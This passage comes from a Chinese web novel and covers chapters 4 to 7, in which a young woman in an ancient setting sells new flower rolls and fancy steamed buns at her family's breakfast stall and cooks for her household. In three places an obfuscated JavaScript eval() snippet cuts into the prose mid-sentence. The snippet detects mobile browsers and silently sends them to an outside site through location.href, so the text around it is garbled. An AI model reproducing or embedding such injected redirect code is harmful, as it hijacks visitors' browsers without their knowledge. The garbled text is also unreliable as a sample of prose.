所以她想的是这花卷暂时就按照一个两文钱来卖，毕竟她做的花卷馅料足，味道也是极好的，想来大家应该能接受。 同母亲说了后，陶淑苑想了想：“价格也能接受，那就先卖来试试。如果卖得不错，那后面就多做些。” 这么决定后，二人很快吃完了早饭，开始等待今天的客人。 很快，便有人朝着这边走了过来。 “袁枚昌，再不快点走，就要迟到了。” “来了来了！” 天色微亮，这个时间段除了男人外出上工做活以外，正是小孩早起去私塾上课的时间。 闵晞所住的地段有两处较大的私塾，一般家里不太穷的孩子都会选择让孩子去读书，为的就是让孩子识字算数，将来有个好出处。要是读书厉害的，兴许还能考个功名为家里争光。 眼下和袁枚昌一起的还有另外两个小孩正一路蹦蹦跳跳地快走过来，闵晞隔着老远就听见了他们的声音，便把蒸笼半打开，散出了些味道。 “你们有没有闻到什么味道？”走在袁枚昌前面的一个小孩子开口疑惑道：“我闻着好香呢，是哪家在做饭？” 袁枚昌听了也细细一闻，发现四下隐约闻见了食物的香味。那香味似有如无，在静谧的早晨里是分外诱人，勾得几个孩子是一下就饿了。 “好饿，昨天晚上因为我在外面多玩了一会儿，父亲罚我只吃了一碗稀粥。早上也没来得及吃饭就出门了。”一旁的王自易摸了摸肚子，有些沮丧。 “我倒是吃了，但也吃得不多。”范正也答道。 “那前面好像是陶婶家的早点铺，”袁枚昌想了一下：“我以前吃过的。” 说起陶婶，几个人也有了印象。 “只是我记得这陶婶子家的早点也无非就是些寻常的包子馒头，今天怎么闻起来有些不一样？” 范正往前走过去：“说不定是今天陶婶做了些别的什么，走去看看。” 话说完几人快速走了过去，远远就看见蒸笼里的热气正源源不断往外飘出来，一同飘出来的，还有让他们好奇又期待的味道。 “陶婶今天有什么吃的？”袁枚昌来到铺前问道。 “枚昌来了？今天可来得巧了，可要试试陶婶和晞儿新做的早点？”陶淑苑看着面前的三个孩子，一眼就认出了这是住在附近的袁家的小孩。 “新做的早点？是什么？”一听到有新玩意，孩子们都很期待。 闵晞把蒸笼打开对他们介绍道：“这是用麻酱和白糖磨做成的甜花卷，这边则是用椒盐和小葱做的咸花卷，各位可要尝尝？” 孩子们听了后，纷纷低头看去，见那花卷大小和馒头差不多，但形状又不似馒头那般平整，上面能看到绿绿的葱花和麻酱的颜色。说像包子吧，但馅又是在外面的，着实很新奇。 王自易闻着味道更饿了：“多少钱呢？” “两文钱一个。”闵晞笑盈盈地回着。 两文钱的价格虽然不贵，但对于孩子来说估计还是舍不得。最后还是王自易抢先道：“那先给我来个咸的吧。” 闵晞利索地挑了一个葱花多的椒盐花卷用油纸包了递给了他。 隔着油纸王自易把花卷拿在手里，因为刚出炉还有些烫一时间无法下嘴，他只得吹了吹再下口。 等吃进嘴里后，旁边的范正和袁枚昌看见他的眼睛都直愣了。 “怎么了？好吃吗？”范正闻着椒盐的香味，跃跃欲试。 没想不等王自易说话，眨眼间他咽下了第一口，然后迅速吞下去又继续咬了第二口，颇有些狼吞虎咽的样子。 这下袁枚昌也瞪大了眼睛。 “快别吃了，告诉我们味道如何？”眼见个头不小的花卷转眼间已被消灭了一半，另外两个人是十分焦急。 等王自易吃到还剩下最后一口时，他才道：“好吃!陶婶这个花卷做得真好吃！” 看他吃得如此迅速，陶婶是笑着给他递过了一碗豆浆：“慢点吃，别噎着了。” 王自易接过大喝了一口，这才顺过气来：“谢谢陶婶。” 王自易家境在这一片尚可，所以吃的东西穿戴的衣物也比他人要好些。饶是这样，在吃了这咸花卷后，也还是被震惊到了。 那花卷面皮蓬松如云，每一次都浸润着淡淡的咸香味，一口下去椒盐的辛香混着麦香扑面而来，让人忍不住一口接一口。 再配上一碗热豆浆，简单却让人越吃越馋。 “再给我来一个甜花卷吧。”吃了一个肚子也不是很饱，于是王自易决定再吃个甜的。 看王自易吃得那般馋人，范正和袁枚昌也是忍不住了。 “要不我们也买一个试试？” “但是我身上没带多少钱。”范正虽然也想吃，但他今日还要去书铺买些纸笔，所以有些犹豫。 要是被父母知道他乱花钱，估计又要说他。 “那我们两人买一个？就掰开尝个味道。” 听了袁枚昌这个建议，范正同意了：“那我们买哪个味道呢？” 在二人商量的时候，王自易已经开始吃第二个。 同样的这麻酱花卷也没让他失望，醇厚的芝麻酱被层层包裹着，每一层都浸润着油脂的香气。入口是越嚼越香，越吃越有滋味。 王自易就着豆浆接连吃了两个花卷，本来饿了大半夜的肚子也渐渐饱了，速度才慢了下来。 看王自易速度如此之快，另外两个小伙伴是急忙问：“哪个味道更好吃？” 王自易打了个饱嗝，想了想：“椒盐花卷吧？等等，麻酱的也不错……要不然你们还是两个都买吧，我觉得都很好吃。” 听他这么说，两人决定是两个都买来试试，便递给了陶婶四文钱。 “拿好了。”闵晞利索地包好了两个花卷递给他们。 “咱们快走吧，”耽误了一会儿工夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589866|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，王自易道：“再不走就真要晚了，你们拿着等会儿吃吧。” 说着三人对闵晞和陶婶道了别，纷纷小跑起来。 路上范正忍不住偷吃了一口，这一口让他眉毛都挑了起来。果不其然如王自易说的，确实好吃。 见范正赞道，袁枚昌当即也吃了一口，两人就这样在路上你一口我一口地吃了起来。 同样的，伴随着他们行动，这花卷的香味也是传了出去。在有人询问的时候，他们大方告知了陶婶铺子的位置。 除开这三个小孩以外，还有人陆陆续续过来吃饭。见有了新的早点，大家都十分好奇地点了一个或是两个来吃，结果就是不到一个时辰的功夫，闵晞做的花卷就全部卖完了。甚至还有一些人闻讯过来，结果却扑了一场空。 “不好意思，因为是新品所以做得不多。”闵晞解释道：“明天会多做一点的，还请大家明日再来。” 得了回复后，众人散去。陶淑苑看着空空的蒸笼，脸上是笑得合不拢嘴。 “没想到晞儿你做的花卷竟如此受欢迎，这才一会儿就卖空了。” 花卷卖完后，连带着馒头和包子也卖得多了些。 闵晞笑着：“是母亲教得好，孩子也只是在母亲的基础上稍微加工了一下。” 陶淑苑道：“还是你这孩子聪明，以前读书的时候我就知道你比闵彦要聪慧不少，只可惜你是个女孩子……” 陶淑苑说着说着声音就小了，估计也在感叹当年因为家里穷，没让闵晞继续读下去，而是把机会让给了闵彦。 闵晞听了不觉得有什么，在古代本来读书的女子就不多。陶淑苑不仅不重男轻女还想着让她也读书习字她就觉得很好了。 虽然给闵彦读书的钱都白花了，不过眼下有她，应该是可以赚回来的。 宽慰了母亲一番，二人继续把剩下的早点卖完，然后又去集市多买了点食材。 等一切忙完回到家，闵晞和陶淑苑刚踏进门没几步，闵彦和闵达彬就围了过来，有些期待地看着她们。 “今天卖得如何？”闵彦问道：“那花卷那么好吃，应该卖得不错吧？” 闵达彬也道：“这会子都中午了，还有剩下没卖完的花卷吗？给我吃一口。” 闵晞和陶淑苑听了相视一笑，最后还是闵晞道：“早就卖完了，你们还想吃呢？” 闵达彬有些急迫：“一个都没了？我早上就喝了些稀粥，眼下正饿着呢。” 知道这两父子成天不干正事，倒是在吃上面很积极。于是闵晞指了指买回来的菜：“那你们且等我一会儿，我这会去做。” 吃饭途中，闵晞向哥哥和父亲讲了今天的事，在得知花卷很受欢迎后，他们也十分开心。 “那这么说，咱们家以后可以赚更多的钱了？”闵彦有些高兴。 闵晞点点头：“应该是的，不过只做两个花卷应该还不够，我还想做一些其他的面点，只是眼下钱不够，还是等过一阵子再说吧。” 闵达彬听完赞许地点着头：“不愧是我的孩子，小小年纪就这么聪明。”说完还絮叨了一会儿闵彦，“你可比晞儿年长好几岁，还是名男儿，可要向晞儿好好学习。” 闵彦不情愿地点了点头。 5. 第 5 章 聊着天吃完饭后，闵达彬照例去铺子上了，接着闵彦也在闵晞的要求下洗完碗，准备开溜。 “哥，你打算去哪？”察觉到闵彦的意图后，闵晞笑嘻嘻地看着他：“忘了爹刚刚说的什么了吗？” 闵彦回过头，一脸苦笑：“好妹妹，哥哥刚吃饱，出去溜达一会儿不行吗？” “不行！”闵晞强硬地拒绝了他：“房子多久没打扫了，限你两天内弄干净，快去！”说着扔了个扫把给他，还特意提醒：“别忘了墙上的蜘蛛网也扫一下，那大蜘蛛看着可吓人了。” 得令后，闵彦看着手里的扫把，又看了一眼在地上趴着的舒舒服服的大黄，是叹了口气：“哎，家里还是你最悠闲。” 大黄不明所以，朝他摇了摇尾巴。 之后的几天里，闵晞和母亲比之前要忙上了两分，一来就是因为这花卷的原因，来店里吃饭的人明显多了，基本每次都会提前卖空。即使闵晞比前一天又多做了两笼，第二天也还是很快就会卖出去，甚至还出现了排队的现象。 虽然也就一炷香的工夫。 不过不得不说闵晞做的花卷得到了众人的赞叹，不仅是街坊邻居，就连远一点的住在集市附近的人也会来买，搞得闵晞有点受宠若惊。 因着花卷畅销，闵晞也同对门的胡家说好了，每借他们家一次小毛驴就给一次钱，要不然总是白用心里也过意不去。 商谈好后，闵晞还特意送了两包花卷过去给他们尝尝。胡叔叔和内人郑氏尝过后是纷纷惊叹，这花卷味道确实不错。 几日后的清晨，陶淑苑看着高高瘦瘦的庄博进来了，热情地招呼着。 “哟，庄博来了？这边坐。” “陶婶好。”庄博腼腆地和陶婶打了个招呼，随后看向了闵晞，微微点头，以示招呼。 “还是那老几样？” 在得到肯定后，闵晞麻溜地准备好了一个麻酱花卷和一个椒盐花卷，另配一碗白粥和一个煮鸡蛋。 等把需要的早点都端过去后，闵晞又打了一份泡菜送过去，庄博这赶忙抬头，说了声谢谢。 “不客气，你慢点吃。” 相比其他客人，正当壮年又要下地的庄博明显吃得比旁人多些。闵晞见他三两下吃完一个花卷，又利索地喝了半碗粥，然后吃起了另外一个花卷。 不一会儿，庄博就吃完了早饭，然后起身对闵晞和陶淑苑打招呼离开。 “这孩子，总是那么有礼貌。”看孩子走后，陶淑苑感叹道：“要不说庄家命好，竟生出了这样一个懂礼貌又上进的孩子，真是求不来的福气。” 闵晞对庄家略有耳闻，知道他们家母亲早逝，只留下父亲孤身一人照顾两个女儿和庄博长大，想想确实也挺辛苦的。 好歹现在孩子长大了，可以帮衬着家里干活。 看人走后，闵晞也没多想，继续照顾着其他客人。 等这几天忙完后，闵晞实在有些受不了每天上班的苦，便跟母亲提议了休息一天的想法，母亲也同意了。于是那天她们闭店一天，把前几天赚的钱拿出来数了一下，这不看不知道，一看吓一跳。 以往陶淑苑一天只能赚两百文左右，就这还要除开买菜的钱。幸好铺子是自己的，节省了房租的费用。但就算是这样，算下来一天实得也不过一百三四十文。 再加上父亲下午看店和母亲偶尔做一些其他的活计，一天平均下来也就两百多文。就这么点钱就要支撑一家四口的生活，实在是艰难。 就这还要随时提防着父亲偶尔拿钱去赌，家里实在是入不敷出。 眼下因为闵晞的原因，赚的钱相比以往居然翻了一倍，也难怪把陶淑苑吓了一跳。 “居然赚了这么多钱……”陶淑苑感叹着：“实在是容易啊，要不过会出去买点肉，咱们今天庆祝一下。” 闵晞对母亲的话没有意见，只是建议：“娘，可不能让父亲和哥哥知道，免得咱们才赚了点钱就又闹出什么幺蛾子。” 陶淑苑听了连连称是：“你说得对，就你爹那个性子，要是知道家里有了点钱，指不定又拿去赌，可千万别让他知道。” 聊完这个话题，闵晞对母亲说了自己的想法：“我想等钱再多一点的时候，找个工匠好好把咱们早点铺装修一下，你看那门面都破旧了，碗筷也是，都长短不一。桌椅上也都是老油，擦都擦不干净，应该换新的了。” 陶淑苑听了也赞同：“你说得对，不是娘不想，只是以前实在是没钱。实不相瞒，每次娘进去，都在想那么破的店会不会哪一天就塌了。” 闵晞听了笑出声：“那母亲应该是想多了，这个应该还是不会的。” 聊完这个后，闵晞又说家里的房屋有几处破损的地方，等到时候也该修补修补。 话题皆过，闵晞和陶淑苑便又上街去采买。这次闵晞同母亲商议，因为铺子渐有起色，她们亲自去买菜也着实辛苦，便决定同以往经常采买的粮油铺和菜摊的老板说好，以后每隔十日送来她们需要的米面肉菜就好。 铺子上的老板听着这可是长期合作，自然是更高兴了，因着都是老顾客了，所以在价格上也优惠了些许。 “陶婶有这样一个好孩子可真是省心不少。”粮油铺王姨笑着看向闵晞：“晞儿小小年纪就这般能干，我可是听说了你们铺子的事，那花卷我让男人去买了一次，确实好吃。” 听着孩子被夸陶淑苑自然也是十分开心，两人在一旁笑谈了一会儿，闵晞则在不远处的肉铺看起了肉。 既然赚了点钱，那自然是要花出去的，于是闵晞摸了摸自己的肚子，准备买点猪肉来做水煮肉片。 虽然她更喜欢水煮牛肉，但牛在古代可是核心劳动力，普通人不准私自宰杀健康的耕牛。就算是宰杀自己的牛被人抓到也是要受罚的。一般情况下，除了快病死老死的牛可以买卖以外，就只有达官贵人和某些特殊场合下才能食用牛肉。 闵晞可不想因为一时的口舌之快遭了殃，还是乖乖看起了可爱的粉嫩猪肉。 买了点里脊肉后，闵晞还买了些茱萸研磨成的粉和豆腐豆芽以及小葱菘菜。 回家后，闵晞先把猪肉逆着纹理切成薄片，然后放入适量盐、生抽、胡椒粉，淀粉和一个鸡蛋清，再倒油抓匀放在一旁腌制。 接着闵晞把大蒜切末，小葱葱白切成葱花，生姜切丁，准备工作就做好了。 因为这时候还没有辣椒，所以闵晞只得买了些茱萸粉做替代。 之后起锅烧油，闵晞倒入花椒和茱萸粉，慢慢炒香。这一步要小心千万不能炒过了，那样花椒就会发苦。之后继续把刚才的葱姜蒜放进去一起炒，又放了两大勺豉酱。 由于这个时候也没有豆瓣酱，所以闵晞只能拿类似的豉酱来代替。 火候差不多了，闵晞倒入三碗水煮开，又放了半勺白糖和生抽调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589867|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 味，再把洗净的菘菜和豆芽放进去慢慢煮。等时间差不多了闵晞才把腌制好的肉片放进去中火煮上一会儿。 这样一份香喷喷的水煮肉片就做好了。 如果还想更好吃的话还可以往面上撒点葱蒜末和花椒白芝麻，浇一层热油。那样味道会更香，但闵晞觉得太奢侈便就此作罢。 肉菜完成，闵晞还拿剩余的小葱做了一份简单清爽的小葱拌豆腐。 等菜做完后，水煮肉片的香味早就顺着透风的墙壁飘了出来，惹得住在附近的邻居都纷纷好奇，这是谁家做的饭竟如此之香。 就连走在外面街上的闵达彬都闻到了。 “这做的什么菜？怎么这么香？”闵达彬摸着胡子把周围邻居都想了一遍也没想出哪家有这般好手艺。直到走到了家门口，这香味是越来越浓郁，闵达彬这才意识到香味是从自己家传出来的。 “今儿个是做了什么？这般好闻？”闻见味道的闵达彬直直走进了厨房，左顾右盼。 “爹回来了，”闵晞拿着刚拌好的小葱拌豆腐：“先去洗手，然后才能上桌吃饭。” 听见女儿这么说，闵达彬是赶忙去洗了手，干了一天活的闵彦也是跟着洗了手，两人乖乖坐在了桌前等着开饭。 闵彦一坐在桌前就抱怨着：“爹你是不知道，下午闵晞做的这个饭是把我的馋虫都勾出来，真的味道老香了，我想去看看母亲还不让。” 陶淑苑给他夹了一块肉：“你当时你不是正踩在梯子上擦窗户，娘亲那是怕你失手摔下来才没让你去。” 闵彦听了叹道：“别提了，今天累死我了。不过今天居然有肉菜，实在是太难得了，看来闵晞做的花卷赚了不少钱？” 见提到了钱的事，闵晞赶紧打哈哈混了过去：“我今天做的这菜名叫水煮肉片，可谓是麻辣鲜香，一口入魂，你们快尝尝。” 见闵晞这么说，其余人也是不论其他，赶忙下筷。 这一吃，几人是纷纷赞叹，从没吃过这么好吃的菜。 本来家里人吃肉就少，今日这水煮肉片刚上桌一股热辣的香气便迎面而来。肉片挂满红亮的汤汁，被大片的菘菜和豆芽相拥着，看着就香辣无比，让人胃口大开。 等入了嘴，肉片是爽滑鲜嫩，茱萸的辛辣和花椒的麻香在舌尖上跳跃。再搭配着脆爽的豆芽和清甜的菘菜，让人吃的是大汗淋漓，直呼过瘾。 “好吃，是我太久没吃肉了吗？怎么今日闵晞你做的这肉片怎么这么好吃？就是太辣了……”闵彦一边吃着肉片，一边吃着拌豆腐解辣，嘴里一直鼓鼓的没停下来。 闵达彬也赞道：“好吃，实在是好吃。以往家里没做过几道肉菜，今日这一吃，倒是觉得晞儿的厨艺又越发好了不少。” “要是能喝点酒就更好了。” 陶淑苑吃着小葱拌豆腐：“喝酒还是算了，你酒量本来就不行，还是少喝些。” 闵晞有些得意：“如果哥哥和爸爸老老实实听我和妈妈的话，不去捣乱，安心干活，那么总有一天家里日日都能吃上肉。” 听完这话闵达彬有些不好意思地笑了起来：“看你这话说的，我这不是许久都没出去玩了吗？每日都是老老实实准点就回来了。” 闵彦也道：“就是就是，我做的母亲都看在眼里！” 看着他们咋咋呼呼的样子，闵晞只觉得无奈又好笑。 “你们最好说到做到！” 6. 第 6 章 那日过后，闵达彬父子好似上瘾一般天天嚷着闵晞给做水煮肉片。但是他们又吃不了辣，在接连吃了两天后，二人是接连有了上火的症状。不是喉咙干痛就是牙齿肿痛，甚至有一次闵彦还流了鼻血。 见此模样，闵晞是万万不敢让他们再吃辣了，只去外面买了些金银花茶回来，让他们每天喝，慢慢把火消下去。然后再配以清粥小菜，好好调养。 虽然父子二人苦不堪言，但对于闵晞而言还有一件更重要的事，那就是开发新的早点。 由于之前花卷的成功，闵晞卖了小半个月发现来的人还是络绎不绝后，决定再研制出两款新的早点，继续把铺子的名声打出去。 这么想着，在前一天闵晞去干货铺里买好了红枣和核桃和红豆，以及南瓜回来。 第二天闵晞先是把提前泡好的红豆拿出来放进锅里煮，放适量的白糖添味。同时再把南瓜切成片上锅蒸熟后捣成泥状，再把上次剩下的老面连同面粉放进去，加入适量水，最后揉成一个光滑的面团等待发酵。 这之后闵晞又把红枣去核，再剪碎成颗粒状，同样把核桃也切碎成同样大小。再把红枣碎和核桃碎以及黑芝麻放进发酵好的面团里，继续揉搓好，等待发酵。 不得不说，要是在以前的话，早就有面包机这种机器代替人手工揉面。闵晞感叹着现代社会的发达同时又在安慰自己既来之则安之。 等面团发酵好，闵晞继续把面团分成一样大小的剂子，然后放进蒸笼里等待醒发。接着她又把南瓜面团均匀擀开，放入一半的红豆馅，折叠后又再次擀薄，继续放入剩下的红豆馅擀成合适的形状，再用刀切成合适的大小，这样就算基本成功。 等醒发完成后，就剩下最后一步，烧水上锅蒸熟。 就这样，好吃又好看的红枣核桃馒头和南瓜蜜豆馒头就做好了。 等做好后，闵晞等放凉再把红枣核桃馒头掰成两半，继而尝了尝。 馒头本就微甜，再加上蒸过的红枣，甜味更甚。一口下去，红枣的清甜与核桃的搭配交织在一起，口感扎实，层次丰富。 既比平常的馒头吃起来更果腹，而且还健康。 闵晞对自己的成功很满意，之后又尝了尝另一款南瓜蜜豆馒头，同样也没让她失望。 虽然古代没有面包蛋糕这种东西，不过这花式馒头不也等同于西式的甜品吗？ 晚上闵晞给家人端上了新做的馒头，一样是获得了大家的一致好评。 闵达彬拿着馒头道：“前几天吃的辣子太多了，今天一吃这个红枣核桃馒头，感觉胃舒服了不少。” 闵晞道：“红枣素有安神，强健脾胃的功效。核桃也有润肺健脑的作用。父亲多吃点对身体好。” 闵达彬听了呵呵笑着：“晞儿说的是，那这个黄色的馒头又是怎么做出来的？” 闵晞解释是因为加了南瓜的原因，闵达彬听后连连点头：“真不知道你这个小脑瓜是怎么想的，做个馒头还能做出这么多花样。” 闵晞笑道：“每天总吃那大白馒头也着实有点无趣，所以女儿就加了点食材进去，这样不是别有一番风味？” 闵彦道：“确实，你看这南瓜蜜豆馒头外表金灿灿的，里面又夹杂了不少红豆，看起来十分喜庆呢，吃起来也甜滋滋的。” 闵晞回：“要不怎么说秀色可餐呢，食物也是如此。一份食物，大家最先看到的自然是外表，味道那都是其次。如果连看着都不好吃，那又怎么让人有想吃的冲动呢。” 陶淑苑吃着南瓜蜜豆馒头，只觉得心里也甜蜜蜜的：“女儿说的是。” “那这个又可以拿来卖钱了？”吃完一个馒头后，闵彦道。 闵晞点点头：“红枣和核桃买的质量一般，但是我舍得放料，所以这个价格我想的是红枣核桃馒头卖三文钱一个，南瓜蜜豆馒头卖两文钱就好。” “等以后赚的钱多了，就可以买一些更好的食材了。” 闵彦看着手里新拿的馒头：“没想到区区一个小馒头也可以让我们家赚到钱，可真是稀奇。” 闵晞严肃道：“俗话说民以食为天，没有食物那人人都会饿死，所以食物乃人生头等大事也。哥哥可不要浪费食物哦。” 听完这番话，闵彦摆正姿态，把手里的馒头一股脑塞进了嘴里，末了还舔了舔带着回甘的手指。 “妹妹说的是，我可再也不想饿肚子了。” 翌日，闵晞同样早起，和母亲一起把新做的馒头放进蒸笼里，等待着客人的到来。 因着花卷的名声传开，来早点铺的人比以前多了一些。几乎是一到点没多久，就有人陆陆续续过来吃饭。 这次闵晞把新蒸好的馒头打开放在一旁，为的就是吸引前来人的注意，让大家第一眼就看见。 因为铺子简陋，所以墙上也没有挂食单。加上这里也不是所有人都会读书写字，所以闵晞还是选择眼见为实，逢人来就向他们介绍推销即可。 不过一会儿，准备上读书的孩子路过了这里。闵晞定睛一看，除了他们三个以外，还带了另外两个小伙伴。 “就是这家破破烂烂的店，做出来了那样好吃的花卷？”一个眼生的孩子瞧了瞧这落魄的铺子，面带了几分嫌弃。 “别看外面破，但是花卷好吃啊，而且不是你们说要过来吃的吗？”袁枚昌努努嘴：“陶婶做的吃食可干净了，你看我每次带过来的食物不都是干干净净的。” 这么一说闵晞是想起了有几次他们要了不少馒头带走，原来是为了带给其他小孩吃。 听他这么一说，那孩子也点了点头：“行吧，那就照例还是来……” “等等这个是什么？”就在那孩子还准备要花卷的时候，他看到了摆在旁边的黄色馒头，和一个放了许多馅料的馒头。 这玩意他从没见过？ 闵晞见有人问了，利索地解释道：“这是用核桃和红枣做成的红枣核桃馒头，这个黄色的则是南瓜蜜豆馒头，都是今天才上的新品，可要尝尝？” 听见是新品，几名孩子都很好奇，又问了问价格后决定两人合起来买一个试试。 把馒头递给了他们，果不其然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15589868|171847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那几名孩子都纷纷赞道。 “这馒头好甜，里面还有核桃碎呢。” “我这个也好吃，里面夹了不少红豆。” 几个孩子讨论得大声，很快有人陆陆续续往这边走过来。 “淑苑，”说话的是粮油铺的王姨：“上次来你们店都没吃着那花卷，这次我可是一早就过来了，别说没有。” 陶淑苑笑着：“哪能呢，快里面请。” 把人请进去的同时，王姨也看到了站在外面叽叽喳喳的孩子：“他们在吃什么呢，怎得那般开心？” 陶淑苑解释道：“晞儿又做了两道新早点，要不试试？” 一听有新东西，王姨也很好奇，在听了介绍后：“那先给我来一个南瓜蜜豆馒头和豆浆吧。” 不过一会儿，闵晞就把早点端了过来。王姨看那早点外观呈暖黄色，里面还包了许多红豆，有两颗甚至快掉出来了，单从外表看就让人食欲大动。 于是王姨忙不迭地尝了一口。 “好吃，这馒头可比普通的白馒头好吃多了。”只一口王姨就夸道。 南瓜蒸熟后本就香甜粉糯，做成了馒头后，更是美味无比。因着有些烫，王姨把馒头一分为二，这一掰开就看到里面藏着的满满红豆，实在是巧妙。 王姨很快把那甜甜的南瓜馒头吃完，然后又要了一个红枣核桃馒头吃，这一个也同样叫她惊喜。 等王姨吃完后，腹中已经微撑。毕竟以前早上她一般只吃一个馒头，或者一张饼。今天破天荒吃了两个，可不肚子胀嘛。 结账之际，她看向闵晞：“你这孩子，简单的早点竟也做得如此好吃，真是个聪明的。” 说完她额外又要了几个馒头带走，说是给家人尝尝。 很快，陆陆续续过来吃饭的人基本都会被新的早点吸引，然后纷纷要了两个来试试。没一会儿的工夫，蒸好的两笼馒头就都卖完了。 看着只剩下垫布的蒸笼，闵晞和陶淑苑自是开心不已。看来这次的新品依旧赢得了大家的喜爱。 之后的几日，来早点铺的人不减反增，甚至还有下午过来问的人。只可惜那个时候早卖完了，闵达彬只顺嘴问了一嘴，来都来了要不然喝点茶？吃点糕点？ 初来乍到的人不懂，想着来都来了，吃一壶休息一下也好。哪知道这一坐下来，吃了那陈茶和快渣成酥的糕点，那人是欲哭无泪。 早知道不坐了！ 虽然这种事不发生的情况不多，但闵晞也算是体会到了开早餐店的辛苦。 之前来店里的人不多，做的吃食也相对简单，加上古时候也没什么娱乐项目，一般吃完晚饭大家休息一下就洗洗睡了，所以闵晞不觉得累。 眼下因为多做了几种花式早点，做的早点程序也复杂了，加上来的客人多了，时间一长闵晞偶尔会觉得有些累。毕竟这具身体才十六岁，以她的眼光来看着实是太小了，况且之前还经常处于吃不饱饭的状态。 不过所有的辛苦在等忙完后看到那一枚一枚的钱币时，闵晞心里的开心随即冲散了那些疲惫。 7. 第 7 章 时间慢慢过去了一个月，闵晞和母亲眼见着存了点钱，心里很是激动。 要说以往家里的钱可从没有多的，这会子突然有了余钱，陶淑苑是尤其开心。 “你说这钱应该怎么用呢？” 闵晞看了看母亲身上打了不少补丁的灰蒙蒙的旧衣服，又看了看那些铜钱：“要不咱们找个日子去集市上逛逛，给家里人都挑身新衣服？父亲和母亲都多久没添新衣服了，哥哥也是，那穿的鞋子也不知道是几年前买的，现在看着总觉得短了一截。” 陶淑苑听了点点头：“说的是，家里许久没添新衣裳了。再过几日集市上会有每月一次的大赶集，咱们那天可以全家一起去看看，顺便再添置一些其他的物件。” 闵晞点点头：“另外虽然大的物件咱们还不起，但可以先把店里的筷子和碗给换了，那些也用了许久了。” “而且我觉得家里也该修整修整了。像是那东墙，之前大黄总是在那里刨坑，结果挖了好大一个坑，咱们也没去补，结果垒在上面的砖都掉了几块下来，是时候找人补补了。” 陶淑苑和闵晞互相商量着，等下午回家了把打算告诉了两个男人。 “真的吗？咱们有钱去逛集市了？” 闵彦听了很是开心，要知道他兜里可从来都没钱，这会居然可以去买东西，那真是想都不敢想！要是说想买的东西，那他可十个手指头都数不过来。 闵达彬听了也有些震撼，随即眉头微动：“此话当真？” 陶淑苑点点头：“那是自然，我们回来的路上都说好了。到时候如果在集市上你们还遇到了其他心仪的东西，也可以看看。” 见人都这么说了，闵达彬自是开心，晚上吃饭的时候还多吃了一碗饭。只是上塌之际，闵达彬趁着烛光，悄声问道。 “淑苑，你实话告诉我，你和晞儿到底赚了多少钱？” 看见闵达彬期盼中掺杂着探究的眼神，陶淑苑想起了闵晞再三对她的告诫，一定不能让两个男人知道她们赚了多少钱，否则一定会想方设法被拿走。 想到这，陶淑苑只定神笑了笑道：“不过是赚了些零花钱，等去一趟赶集，也就没剩多少了。天色也不早了，快些睡吧。” 见陶淑苑不说，闵达彬也不好再问，只得借口略过。 随后二人熄了蜡烛，盖了被。 之后过了两天，闵达彬利索地找了工匠过来把东墙破的地方给补好了，这下大黄再也不能自由地出入其他人的院子了。 除此之外，闵晞还让工匠把家里脏兮兮的墙面用石灰给重新粉刷了一遍。 刷完后，闵晞感叹着，果然是旧房穿新衣。这石灰一刷，丑丑的小房子瞬间看着都没那么丑了。 当然，要是屋里再多些东西就好了。 给工匠结钱的时候，对门的胡三狗连同母亲郑氏凑巧出来了，见闵晞家重新粉刷了一遍墙，想着他们家几月前看着还挺寒酸的，连门破了都不舍得补。没想到如今都有钱把房子给重新粉刷了，心里倒是有了几分涩意。 自家男人是在河岸做的搬运工，因为年轻力量大，一个人可以顶两个人，因而赚钱也多。郑氏又是独女，偶尔母家也会补贴钱，所以平时郑氏只在家里带孩子，白日里缝补衣物，做好饭食等等男人赚钱回来就好。 之前闵彦来找他们借小毛驴用的时候，郑氏一开始想着可以赚些零花钱也挺好，便同意了。只是不知道才两月的时间闵家竟已经赚了这么多钱。 不过想起他们曾经送过来的花卷，确实是好吃，也难怪有那么多人来买，郑氏有时不想做饭也带着孩子去买过几次。 只不过这卖早点赚的也是辛苦钱，要是她每天起早贪黑地做活那实在是做不动。 心里想了想，郑氏也就平衡了，脸上立即带了笑容和她们打了招呼。 赶集的那一天很快就来了，那天破天荒的，闵达彬和闵彦都起了个大早，竟然比闵晞母女二人起得还早。 “怎的还睡着？”闵彦在外面敲门：“快些起来洗脸了！” 闵晞本来还说今天无事多睡一会儿，哪知道还是被他们闹起来了。只得慢悠悠地起了床，打了个哈欠。 “就来就来，别敲了！” 在父子二人的催促下，闵晞和陶淑苑收拾完毕后往集市赶去。“之前都是在家里吃饭，这次终于可以去外面吃了。”闵彦双眼微眯，弯成了一个月牙状。 